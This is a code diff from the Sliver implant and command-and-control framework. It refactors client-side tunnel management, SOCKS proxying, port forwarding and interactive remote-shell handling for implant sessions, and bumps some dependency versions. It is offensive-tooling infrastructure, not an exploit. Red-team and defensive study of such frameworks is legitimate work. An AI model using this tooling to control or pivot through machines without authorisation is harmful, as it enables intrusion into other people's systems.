+	tw.AppendRow(table.Row{"Vim mode", con.Settings.VimMode, "Navigation mode, vim style"})
 	con.Printf("%s\n", tw.Render())
 }
 

client/command/shell/shell.go

@@ -61,6 +61,8 @@ func ShellCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 }
 
 func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *console.SliverConsoleClient) {
+	con.Println()
+	con.PrintInfof("Wait approximately 10 seconds after exit, and press <enter> to continue\n")
 	con.PrintInfof("Opening shell tunnel (EOF to exit) ...\n\n")
 	session := con.ActiveTarget.GetSession()
 	if session == nil {
@@ -68,9 +70,12 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
 	}
 
 	// Create an RPC tunnel, then start it before binding the shell to the newly created tunnel
-	rpcTunnel, err := con.Rpc.CreateTunnel(context.Background(), &sliverpb.Tunnel{
+	ctxTunnel, cancelTunnel := context.WithCancel(context.Background())
+
+	rpcTunnel, err := con.Rpc.CreateTunnel(ctxTunnel, &sliverpb.Tunnel{
 		SessionID: session.ID,
 	})
+	defer cancelTunnel()
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
@@ -78,7 +83,7 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
 	log.Printf("Created new tunnel with id: %d, binding to shell ...", rpcTunnel.TunnelID)
 
 	// Start() takes an RPC tunnel and creates a local Reader/Writer tunnel object
-	tunnel := core.Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
+	tunnel := core.GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
 
 	shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
 		Request:   con.ActiveTarget.Request(ctx),
@@ -90,6 +95,19 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
 		con.PrintErrorf("%s\n", err)
 		return
 	}
+	//
+	if shell.Response != nil && shell.Response.Err != "" {
+		con.PrintErrorf("Error: %s\n", shell.Response.Err)
+		_, err = con.Rpc.CloseTunnel(context.Background(), &sliverpb.Tunnel{
+			TunnelID:  tunnel.ID,
+			SessionID: session.ID,
+		})
+		if err != nil {
+			con.PrintErrorf("RPC Error: %s\n", err)
+		}
+		return
+	}
+	defer tunnel.Close()
 	log.Printf("Bound remote shell pid %d to tunnel %d", shell.Pid, shell.TunnelID)
 	con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
 

client/command/socks/socks-stop.go

@@ -29,7 +29,7 @@ import (
 
 // SocksStopCmd - Remove an existing tunneled port forward
 func SocksStopCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	socksID := ctx.Flags.Int("id")
+	socksID := ctx.Flags.Uint64("id")
 	if socksID < 1 {
 		con.PrintErrorf("Must specify a valid socks5 id\n")
 		return

client/command/tasks/fetch.go

@@ -358,7 +358,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 			"modified": &grumble.FlagMapItem{Value: false},
 			"size":     &grumble.FlagMapItem{Value: false},
 		}
-		filesystem.PrintLs(ls, flags, "", con)
+		filesystem.PrintLs(ls, flags, con)
 
 	case sliverpb.MsgMvReq:
 		mv := &sliverpb.Mv{}

client/console/console.go

@@ -26,7 +26,6 @@ import (
 	"io/ioutil"
 	"log"
 	insecureRand "math/rand"
-	"path"
 	"path/filepath"
 	"strconv"
 	"strings"
@@ -109,11 +108,12 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
 		App: grumble.New(&grumble.Config{
 			Name:                  "Sliver",
 			Description:           "Sliver Client",
-			HistoryFile:           path.Join(assets.GetRootAppDir(), "history"),
+			HistoryFile:           filepath.Join(assets.GetRootAppDir(), "history"),
 			PromptColor:           color.New(),
 			HelpHeadlineColor:     color.New(),
 			HelpHeadlineUnderline: true,
 			HelpSubCommands:       true,
+			VimMode:               settings.VimMode,
 		}),
 		Rpc: rpc,
 		ActiveTarget: &ActiveTarget{
@@ -215,6 +215,7 @@ func (con *SliverConsoleClient) EventLoop() {
 			con.PrintEventErrorf("Lost session %s %s - %s (%s) - %s/%s - %v",
 				shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
 			activeSession := con.ActiveTarget.GetSession()
+			core.GetTunnels().CloseForSession(session.ID)
 			if activeSession != nil && activeSession.ID == session.ID {
 				con.ActiveTarget.Set(nil, nil)
 				con.PrintEventErrorf("Active session disconnected")

client/core/portfwd.go

@@ -1,7 +1,26 @@
 package core
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"context"
+	"errors"
 	"io"
 	"log"
 	"net"
@@ -116,7 +135,7 @@ func (p *ChannelProxy) HandleConn(conn net.Conn) {
 	}
 	tunnel, err := p.dialImplant(ctx)
 	if cancel != nil {
-		cancel()
+		defer cancel()
 	}
 	if err != nil {
 		return
@@ -124,8 +143,8 @@ func (p *ChannelProxy) HandleConn(conn net.Conn) {
 
 	// Cleanup
 	defer func() {
-		go conn.Close()
-		Tunnels.Close(tunnel.ID)
+		conn.Close()
+		GetTunnels().Close(tunnel.ID)
 	}()
 
 	errs := make(chan error, 1)
@@ -172,7 +191,7 @@ func (p *ChannelProxy) Host() string {
 	return host
 }
 
-func (p *ChannelProxy) dialImplant(ctx context.Context) (*Tunnel, error) {
+func (p *ChannelProxy) dialImplant(ctx context.Context) (*TunnelIO, error) {
 
 	log.Printf("[tcpproxy] Dialing implant to create tunnel ...")
 
@@ -184,8 +203,9 @@ func (p *ChannelProxy) dialImplant(ctx context.Context) (*Tunnel, error) {
 		log.Printf("[tcpproxy] Failed to dial implant %s", err)
 		return nil, err
 	}
+
 	log.Printf("[tcpproxy] Created new tunnel with id %d (session %s)", rpcTunnel.TunnelID, p.Session.ID)
-	tunnel := Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
+	tunnel := GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
 
 	log.Printf("[tcpproxy] Binding tunnel to portfwd %d", p.Port())
 	portfwdResp, err := p.Rpc.Portfwd(ctx, &sliverpb.PortfwdReq{
@@ -200,6 +220,14 @@ func (p *ChannelProxy) dialImplant(ctx context.Context) (*Tunnel, error) {
 	if err != nil {
 		return nil, err
 	}
+	// Close tunnel in case of error on the implant side
+	if portfwdResp.Response != nil && portfwdResp.Response.Err != "" {
+		p.Rpc.CloseTunnel(ctx, &sliverpb.Tunnel{
+			TunnelID:  tunnel.ID,
+			SessionID: p.Session.ID,
+		})
+		return nil, errors.New(portfwdResp.Response.Err)
+	}
 	log.Printf("Portfwd response: %v", portfwdResp)
 
 	return tunnel, nil
@@ -219,7 +247,7 @@ func (p *ChannelProxy) dialTimeout() time.Duration {
 	return 30 * time.Second
 }
 
-func toImplantLoop(conn net.Conn, tunnel *Tunnel, errs chan<- error) {
+func toImplantLoop(conn net.Conn, tunnel *TunnelIO, errs chan<- error) {
 	if wc, ok := conn.(*tcpproxy.Conn); ok && len(wc.Peeked) > 0 {
 		if _, err := tunnel.Write(wc.Peeked); err != nil {
 			errs <- err
@@ -232,7 +260,7 @@ func toImplantLoop(conn net.Conn, tunnel *Tunnel, errs chan<- error) {
 	errs <- err
 }
 
-func fromImplantLoop(conn net.Conn, tunnel *Tunnel, errs chan<- error) {
+func fromImplantLoop(conn net.Conn, tunnel *TunnelIO, errs chan<- error) {
 	n, err := io.Copy(conn, tunnel)
 	log.Printf("[tcpproxy] Closing from-implant after %d byte(s)", n)
 	errs <- err

client/core/socks.go

@@ -20,11 +20,10 @@ package core
 
 import (
 	"context"
-	"fmt"
-	"io"
 	"log"
 	"net"
 	"sync"
+	"sync/atomic"
 	"time"
 
 	"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -37,16 +36,16 @@ import (
 var (
 	// SocksProxies - Struct instance that holds all the portfwds
 	SocksProxies = socksProxy{
-		tcpProxies: map[int]*SocksProxy{},
+		tcpProxies: map[uint64]*SocksProxy{},
 		mutex:      &sync.RWMutex{},
 	}
 	SocksConnPool = sync.Map{}
-	SocksProxyID  = 0
+	SocksProxyID  = (uint64)(0)
 )
 
 // PortfwdMeta - Metadata about a portfwd listener
 type SocksProxyMeta struct {
-	ID        int
+	ID        uint64
 	SessionID string
 	BindAddr  string
 	Username  string
@@ -60,14 +59,28 @@ type TcpProxy struct {
 	Password        string
 	BindAddr        string
 	Listener        net.Listener
-	stopChan        bool
 	KeepAlivePeriod time.Duration
 	DialTimeout     time.Duration
 }
 
+func (tcp *TcpProxy) Stop() error {
+	err := tcp.Listener.Close()
+
+	// Closing all connections in pool
+	SocksConnPool.Range(func(key, value interface{}) bool {
+		con := value.(net.Conn)
+
+		con.Close()
+
+		return err == nil
+	})
+
+	return err
+}
+
 // SocksProxy - Tracks portfwd<->tcpproxy
 type SocksProxy struct {
-	ID           int
+	ID           uint64
 	ChannelProxy *TcpProxy
 }
 
@@ -83,7 +96,7 @@ func (p *SocksProxy) GetMetadata() *SocksProxyMeta {
 }
 
 type socksProxy struct {
-	tcpProxies map[int]*SocksProxy
+	tcpProxies map[uint64]*SocksProxy
 	mutex      *sync.RWMutex
 }
 
@@ -91,6 +104,7 @@ type socksProxy struct {
 func (f *socksProxy) Add(tcpProxy *TcpProxy) *SocksProxy {
 	f.mutex.Lock()
 	defer f.mutex.Unlock()
+
 	Sockser := &SocksProxy{
 		ID:           nextSocksProxyID(),
 		ChannelProxy: tcpProxy,
@@ -101,49 +115,56 @@ func (f *socksProxy) Add(tcpProxy *TcpProxy) *SocksProxy {
 }
 
 func (f *socksProxy) Start(tcpProxy *TcpProxy) error {
-	proxy, err := tcpProxy.Rpc.SocksProxy(context.Background())
+	ctx, cancel := context.WithCancel(context.Background())
+	proxy, err := tcpProxy.Rpc.SocksProxy(ctx)
+	defer cancel()
+
 	if err != nil {
 		return err
 	}
 	go func() {
-		for !tcpProxy.stopChan {
+		for {
 			FromImplantSequence := 0
-			p, err := proxy.Recv()
+			socksData, err := proxy.Recv()
 			if err != nil {
+				log.Printf("Failed to Recv from proxy, %s\n", err)
 				return
 			}
 
-			if v, ok := SocksConnPool.Load(p.TunnelID); ok {
-				n := v.(net.Conn)
-				if p.CloseConn {
-					n.Close()
-					SocksConnPool.Delete(p.TunnelID)
+			if v, ok := SocksConnPool.Load(socksData.TunnelID); ok {
+				conn := v.(net.Conn)
+
+				if socksData.CloseConn {
+					conn.Close()
+					SocksConnPool.Delete(socksData.TunnelID)
 					continue
 				}
-				log.Printf("[socks] agent to Server To (Client to User) Data Sequence %d , Data Size %d \n", FromImplantSequence, len(p.Data))
+				log.Printf("[socks] agent to Server To (Client to User) Data Sequence %d , Data Size %d \n", FromImplantSequence, len(socksData.Data))
 				//fmt.Printf("recv data len %d \n", len(p.Data))
-				_, err := n.Write(p.Data)
+				_, err := conn.Write(socksData.Data)
 				if err != nil {
+					log.Printf("Failed to write data to proxy connection, %s\n", err)
 					continue
 				}
 				FromImplantSequence++
 			}
 		}
 	}()
-	for !tcpProxy.stopChan {
-		l, err := tcpProxy.Listener.Accept()
+	for {
+		connection, err := tcpProxy.Listener.Accept()
 		if err != nil {
-			return err
+			log.Printf("Failed to accept new listener, probably already closed: %s\n", err)
+			break
 		}
 		rpcSocks, err := tcpProxy.Rpc.CreateSocks(context.Background(), &sliverpb.Socks{
 			SessionID: tcpProxy.Session.ID,
 		})
 		if err != nil {
-			fmt.Println(err)
-			return err
+			log.Printf("Failed rcp call to create socks %s\n", err)
+			break
 		}
 
-		go connect(l, proxy, &sliverpb.SocksData{
+		go connect(connection, proxy, &sliverpb.SocksData{
 			Username: tcpProxy.Username,
 			Password: tcpProxy.Password,
 			TunnelID: rpcSocks.TunnelID,
@@ -151,17 +172,18 @@ func (f *socksProxy) Start(tcpProxy *TcpProxy) error {
 		})
 	}
 	log.Printf("Socks Stop -> %s\n", tcpProxy.BindAddr)
-	tcpProxy.Listener.Close()
+	tcpProxy.Stop() // well, at this moment we already in stop state, but anyway
 	proxy.CloseSend()
 	return nil
 }
 
 // Remove - Remove a TCP proxy instance
-func (f *socksProxy) Remove(socksId int) bool {
+func (f *socksProxy) Remove(socksId uint64) bool {
 	f.mutex.Lock()
 	defer f.mutex.Unlock()
+
 	if _, ok := f.tcpProxies[socksId]; ok {
-		f.tcpProxies[socksId].ChannelProxy.stopChan = true
+		f.tcpProxies[socksId].ChannelProxy.Stop()
 		delete(f.tcpProxies, socksId)
 		return true
 	}
@@ -179,9 +201,8 @@ func (f *socksProxy) List() []*SocksProxyMeta {
 	return socksProxy
 }
 
-func nextSocksProxyID() int {
-	SocksProxyID++
-	return SocksProxyID
+func nextSocksProxyID() uint64 {
+	return atomic.AddUint64(&SocksProxyID, 1)
 }
 
 const leakyBufSize = 4108 // data.len(2) + hmacsha1(10) + data(4096)
@@ -192,6 +213,19 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
 
 	SocksConnPool.Store(frame.TunnelID, conn)
 
+	defer func() {
+		// It's neccessary to close and remove connection once we done with it
+		c, ok := SocksConnPool.LoadAndDelete(frame.TunnelID)
+		if !ok {
+			return
+		}
+		conn := c.(net.Conn)
+
+		conn.Close()
+
+		log.Printf("[socks] connection closed")
+	}()
+
 	log.Printf("tcp conn %q<--><-->%q \n", conn.LocalAddr(), conn.RemoteAddr())
 
 	buff := leakyBuf.Get()
@@ -199,11 +233,12 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
 	var ToImplantSequence uint64 = 0
 	for {
 		n, err := conn.Read(buff)
+
 		if err != nil {
-			if err == io.EOF {
-				return
-			}
-			continue
+			log.Printf("[socks] (User to Client) failed to read data, %s ", err)
+			// Error basically means that the connection is closed(EOF) OR deadline exceeded
+			// In any of that cases, it's better to just giveup
+			return
 		}
 		if n > 0 {
 			frame.Data = buff[:n]
@@ -211,6 +246,7 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
 			log.Printf("[socks] (User to Client) to Server to agent  Data Sequence %d , Data Size %d \n", ToImplantSequence, len(frame.Data))
 			err := stream.Send(frame)
 			if err != nil {
+				log.Printf("[socks] (User to Client) failed to send data, %s ", err)
 				return
 			}
 			ToImplantSequence++

client/core/tunnel.go

@@ -1,130 +1,54 @@
 package core
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
-	"bytes"
 	"context"
 	"io"
 	"log"
-	"sync"
 
 	"github.com/bishopfox/sliver/protobuf/rpcpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
 )
 
-var (
-	// Tunnels - Holds refs to all tunnels
-	Tunnels tunnels
-)
-
-// Holds the tunnels locally so we can map incoming data
-// messages to the tunnel
-type tunnels struct {
-	tunnels *map[uint64]*Tunnel
-	mutex   *sync.RWMutex
-	stream  rpcpb.SliverRPC_TunnelDataClient
-}
-
-// Get - Get a tunnel
-func (t *tunnels) Get(tunnelID uint64) *Tunnel {
-	t.mutex.RLock()
-	defer t.mutex.RUnlock()
-	return (*t.tunnels)[tunnelID]
-}
-
-// Start - Add a tunnel to the core mapper
-func (t *tunnels) Start(tunnelID uint64, sessionID string) *Tunnel {
-	t.mutex.Lock()
-	defer t.mutex.Unlock()
-	tunnel := &Tunnel{
-		ID:        tunnelID,
-		SessionID: sessionID,
-		Send:      make(chan []byte),
-		Recv:      make(chan []byte),
-	}
-	(*t.tunnels)[tunnelID] = tunnel
-	go func() {
-		tunnel.IsOpen = true
-		for data := range tunnel.Send {
-			log.Printf("Send %d bytes on tunnel %d", len(data), tunnel.ID)
-			t.stream.Send(&sliverpb.TunnelData{
-				TunnelID:  tunnel.ID,
-				SessionID: tunnel.SessionID,
-				Data:      data,
-			})
-		}
-	}()
-	tunnel.Send <- make([]byte, 0) // Send "zero" message to bind client to tunnel
-	return tunnel
-}
-
-// Close - Close the tunnel channels
-func (t *tunnels) Close(tunnelID uint64) {
-	log.Printf("Closing tunnel %d", tunnelID)
-	t.mutex.Lock()
-	defer t.mutex.Unlock()
-	tunnel := (*t.tunnels)[tunnelID]
-	if tunnel != nil {
-		delete((*t.tunnels), tunnelID)
-		tunnel.IsOpen = false
-		close(tunnel.Recv)
-		close(tunnel.Send)
-	}
-}
-
-// Tunnel - Duplex data tunnel
-type Tunnel struct {
-	ID        uint64
-	IsOpen    bool
-	SessionID string
-
-	Send chan []byte
-	Recv chan []byte
-}
-
-// Write - Writer method for interface
-func (tun *Tunnel) Write(data []byte) (int, error) {
-	log.Printf("Write %d bytes", len(data))
-	if !tun.IsOpen {
-		return 0, io.EOF
-	}
-	tun.Send <- data
-	n := len(data)
-	return n, nil
-}
-
-// Read - Reader method for interface
-func (tun *Tunnel) Read(data []byte) (int, error) {
-	var buff bytes.Buffer
-	if !tun.IsOpen {
-		log.Printf("Warning: Read on closed tunnel %d", tun.ID)
-		return 0, io.EOF
-	}
-	recvData := <-tun.Recv
-	log.Printf("Read %d bytes", len(recvData))
-	buff.Write(recvData)
-	n := copy(data, buff.Bytes())
-	return n, nil
-}
-
 // TunnelLoop - Parses incoming tunnel messages and distributes them
 //              to session/tunnel objects
+// 				Expected to be called only once during initialization
 func TunnelLoop(rpc rpcpb.SliverRPCClient) error {
 	log.Println("Starting tunnel data loop ...")
 	defer log.Printf("Warning: TunnelLoop exited")
-	stream, err := rpc.TunnelData(context.Background())
+
+	ctx, cancel := context.WithCancel(context.Background())
+	stream, err := rpc.TunnelData(ctx)
+	defer cancel()
+
 	if err != nil {
 		return err
 	}
-	Tunnels = tunnels{
-		tunnels: &map[uint64]*Tunnel{},
-		mutex:   &sync.RWMutex{},
-		stream:  stream,
-	}
-	for {
 
-		// log.Printf("Waiting for TunnelData ...")
+	GetTunnels().SetStream(stream)
+
+	for {
+		log.Printf("Waiting for TunnelData ...")
 		incoming, err := stream.Recv()
-		// log.Printf("Recv stream msg: %v", incoming)
+		log.Printf("Recv stream msg: %v", incoming)
+		log.Printf("Recv stream err: %s", err)
+
 		if err == io.EOF {
 			log.Printf("EOF Error: Tunnel data stream closed")
 			return nil
@@ -133,16 +57,24 @@ func TunnelLoop(rpc rpcpb.SliverRPCClient) error {
 			log.Printf("Tunnel data read error: %s", err)
 			return err
 		}
-		// log.Printf("Received TunnelData for tunnel %d", incoming.TunnelID)
-		tunnel := Tunnels.Get(incoming.TunnelID)
+		log.Printf("Received TunnelData for tunnel %d", incoming.TunnelID)
+		tunnel := GetTunnels().Get(incoming.TunnelID)
+
 		if tunnel != nil {
+			data := incoming.GetData()
+
+			log.Printf("This is data on tunnel %d: %s", tunnel.ID, data)
+
 			if !incoming.Closed {
 				log.Printf("Received data on tunnel %d", tunnel.ID)
-				tunnel.Recv <- incoming.GetData()
+				err = tunnel.RecvData(data)
+
+				if err != nil {
+					log.Printf("Warning! Error sending data to tunnel %d, %v", tunnel.ID, err)
+				}
 			} else {
 				log.Printf("Closing tunnel %d", tunnel.ID)
-				tunnel.IsOpen = false
-				close(tunnel.Recv)
+				GetTunnels().Close(tunnel.ID)
 			}
 		} else {
 			log.Printf("Received tunnel data for non-existent tunnel id %d", incoming.TunnelID)

client/core/tunnel_io.go

@@ -0,0 +1,146 @@
+package core
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bytes"
+	"errors"
+	"io"
+	"log"
+	"sync"
+)
+
+// TunnelIO - Duplex data tunnel, compatible with both io.ReadWriter
+type TunnelIO struct {
+	ID        uint64
+	SessionID string
+
+	Send chan []byte
+	Recv chan []byte
+
+	isOpen bool
+	mutex  *sync.RWMutex
+}
+
+// NewTunnelIO - Single entry point for creating instance of new TunnelIO
+func NewTunnelIO(tunnelID uint64, sessionID string) *TunnelIO {
+	log.Printf("New tunnel!: %d", tunnelID)
+
+	return &TunnelIO{
+		ID:        tunnelID,
+		SessionID: sessionID,
+		Send:      make(chan []byte),
+		Recv:      make(chan []byte),
+		isOpen:    false,
+		mutex:     &sync.RWMutex{},
+	}
+}
+
+// Write - Writer method for interface
+func (tun *TunnelIO) Write(data []byte) (int, error) {
+	if !tun.IsOpen() {
+		log.Printf("Warning: Write on closed tunnel %d", tun.ID)
+		return 0, io.EOF
+	}
+
+	// This is necessary to avoid any race conditions on thay byte array
+	dataCopy := make([]byte, len(data))
+	n := copy(dataCopy, data)
+
+	log.Printf("Write %d bytes", n)
+	log.Printf("This bytes is: %s", dataCopy)
+
+	tun.Send <- dataCopy
+
+	return n, nil
+}
+
+// Read - Reader method for interface
+func (tun *TunnelIO) Read(data []byte) (int, error) {
+	recvData, ok := <-tun.Recv
+	if !ok {
+		log.Printf("Warning: Read on closed tunnel %d", tun.ID)
+		return 0, io.EOF
+	}
+
+	var buff bytes.Buffer
+	log.Printf("Read %d bytes", len(recvData))
+	buff.Write(recvData)
+
+	n := copy(data, buff.Bytes())
+	return n, nil
+}
+
+// Close - Close tunnel IO operations
+func (tun *TunnelIO) Close() error {
+	tun.mutex.Lock()
+	defer tun.mutex.Unlock()
+
+	if !tun.isOpen {
+		log.Printf("Warning: Close on closed tunnel %d", tun.ID)
+
+		// I guess we can ignore it and don't return any error
+		return nil
+	}
+
+	log.Printf("Close tunnel %d", tun.ID)
+
+	tun.isOpen = false
+
+	close(tun.Recv)
+	close(tun.Send)
+
+	return nil
+}
+
+func (tun *TunnelIO) IsOpen() bool {
+	tun.mutex.RLock()
+	defer tun.mutex.RUnlock()
+
+	return tun.isOpen
+}
+
+func (tun *TunnelIO) Open() error {
+	tun.mutex.Lock()
+	defer tun.mutex.Unlock()
+
+	if tun.isOpen {
+		return errors.New("tunnel relady in open state")
+	}
+
+	log.Printf("Open tunnel %d", tun.ID)
+
+	tun.isOpen = true
+
+	return nil
+}
+
+// RecvData - safe way to send data to internal Recv channel. Blocking.
+func (tun *TunnelIO) RecvData(data []byte) error {
+	tun.mutex.Lock()
+	defer tun.mutex.Unlock()
+
+	if !tun.isOpen {
+		return errors.New("closed tunnel")
+	}
+
+	tun.Recv <- data
+
+	return nil
+}

client/core/tunnels.go

@@ -0,0 +1,162 @@
+package core
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"errors"
+	"log"
+	"sync"
+
+	"github.com/bishopfox/sliver/protobuf/rpcpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+)
+
+var (
+	// tunnelsStorage - Holds refs to all tunnels
+	tunnelsStorage *tunnels
+
+	tunnelsSingletonLock = &sync.Mutex{}
+)
+
+// GetTunnels - singleton function that returns or initializes all tunnels
+func GetTunnels() *tunnels {
+	tunnelsSingletonLock.Lock()
+	defer tunnelsSingletonLock.Unlock()
+
+	if tunnelsStorage == nil {
+		log.Println("Creating single instance of tunnels.")
+
+		tunnelsStorage = &tunnels{
+			tunnels:     &map[uint64]*TunnelIO{},
+			mutex:       &sync.RWMutex{},
+			streamMutex: &sync.Mutex{},
+		}
+	}
+
+	return tunnelsStorage
+}
+
+// Holds the tunnels locally so we can map incoming data
+// messages to the tunnel
+type tunnels struct {
+	tunnels     *map[uint64]*TunnelIO
+	mutex       *sync.RWMutex
+	streamMutex *sync.Mutex
+	stream      rpcpb.SliverRPC_TunnelDataClient
+}
+
+func (t *tunnels) SetStream(stream rpcpb.SliverRPC_TunnelDataClient) {
+	t.streamMutex.Lock()
+	defer t.streamMutex.Unlock()
+
+	log.Printf("Set stream")
+
+	t.stream = stream
+}
+
+// Get - Get a tunnel
+func (t *tunnels) Get(tunnelID uint64) *TunnelIO {
+	t.mutex.RLock()
+	defer t.mutex.RUnlock()
+
+	log.Printf("Get tunnel %d", tunnelID)
+
+	return (*t.tunnels)[tunnelID]
+}
+
+// send - safe way to send a message to the stream
+// protobuf stream allow only one writer at a time, so just in case there is a mutex for it
+func (t *tunnels) send(tunnelData *sliverpb.TunnelData) error {
+	t.streamMutex.Lock()
+	defer t.streamMutex.Unlock()
+
+	if t.stream == nil {
+		return errors.New("uninitizlied stream")
+	}
+
+	log.Printf("Private send to stream, tunnelId: %d", tunnelData.TunnelID)
+
+	return t.stream.Send(tunnelData)
+}
+
+// Start - Add a tunnel to the core mapper
+func (t *tunnels) Start(tunnelID uint64, sessionID string) *TunnelIO {
+	t.mutex.Lock()
+	defer t.mutex.Unlock()
+
+	tunnel := NewTunnelIO(tunnelID, sessionID)
+
+	(*t.tunnels)[tunnelID] = tunnel
+
+	go func(tunnel *TunnelIO) {
+		tunnel.Open()
+		log.Printf("Tunnel now is open, %d", tunnelID)
+
+		for data := range tunnel.Send {
+			log.Printf("Send %d bytes on tunnel %d", len(data), tunnel.ID)
+
+			err := t.send(&sliverpb.TunnelData{
+				TunnelID:  tunnel.ID,
+				SessionID: tunnel.SessionID,
+				Data:      data,
+			})
+
+			if err != nil {
+				log.Printf("Error sending, %s", err)
+			}
+		}
+
+		log.Printf("Tunnel Send channel looks closed now. %d", tunnelID)
+	}(tunnel)
+
+	tunnel.Send <- make([]byte, 0) // Send "zero" message to bind client to tunnel
+	return tunnel
+}
+
+// Close - Close the tunnel channels
+func (t *tunnels) Close(tunnelID uint64) {
+	t.mutex.Lock()
+	defer t.mutex.Unlock()
+
+	log.Printf("Closing tunnel %d", tunnelID)
+
+	tunnel := (*t.tunnels)[tunnelID]
+
+	if tunnel != nil {
+		tunnel.Close()
+
+		delete((*t.tunnels), tunnelID)
+	}
+}
+
+// CloseForSession - closing all tunnels for specified session id
+func (t *tunnels) CloseForSession(sessionID string) {
+	t.mutex.RLock()
+	defer t.mutex.RUnlock()
+	log.Printf("Closing all tunnels for session %s", sessionID)
+
+	for tunnelID, tunnel := range *t.tunnels {
+		if tunnel.SessionID == sessionID {
+			// Weird way to avoid deadlocks but let it be
+			go func(tunnelID uint64) {
+				GetTunnels().Close(tunnelID)
+			}(tunnelID)
+		}
+	}
+}

client/prelude/bridge.go

@@ -74,7 +74,7 @@ func (a *OperatorImplantBridge) register() {
 	if err != nil {
 		return
 	}
-	encrypted := util.Encrypt(data, []byte(a.Config.AESKey), nil)
+	encrypted := util.PreludeEncrypt(data, []byte(a.Config.AESKey), nil)
 	dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
 	(*a.Conn).Write(dataBuff)
 }
@@ -84,7 +84,7 @@ func (a *OperatorImplantBridge) ReceiveLoop() {
 	go func() {
 		for {
 			data := <-a.send
-			encrypted := util.Encrypt(data, []byte(a.Config.AESKey), nil)
+			encrypted := util.PreludeEncrypt(data, []byte(a.Config.AESKey), nil)
 			dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
 			(*a.Conn).Write(dataBuff)
 			time.Sleep(time.Duration(a.PBeacon.Sleep))
@@ -105,7 +105,7 @@ func (a *OperatorImplantBridge) handleMessage(message string) {
 	if err != nil {
 		return
 	}
-	if err := json.Unmarshal(util.Decrypt(decoded, []byte(a.Config.AESKey)), &tempBeacon); err == nil {
+	if err := json.Unmarshal(util.PreludeDecrypt(decoded, []byte(a.Config.AESKey)), &tempBeacon); err == nil {
 		a.PBeacon.Links = a.PBeacon.Links[:0]
 		a.runLinks(&tempBeacon)
 	}

docs/Gemfile.lock

@@ -232,7 +232,7 @@ GEM
       jekyll-seo-tag (~> 2.1)
     minitest (5.15.0)
     multipart-post (2.1.1)
-    nokogiri (1.13.4)
+    nokogiri (1.13.6)
       mini_portile2 (~> 2.8.0)
       racc (~> 1.4)
     octokit (4.22.0)
@@ -265,7 +265,7 @@ GEM
     thread_safe (0.3.6)
     typhoeus (1.4.0)
       ethon (>= 0.9.0)
-    tzinfo (1.2.9)
+    tzinfo (1.2.10)
       thread_safe (~> 0.1)
     tzinfo-data (1.2021.5)
       tzinfo (>= 1.0.0)

go-assets.sh

@@ -20,7 +20,7 @@ set -e
 
 # Creates the static go asset archives
 
-GO_VER="1.18.2"
+GO_VER="1.18.5"
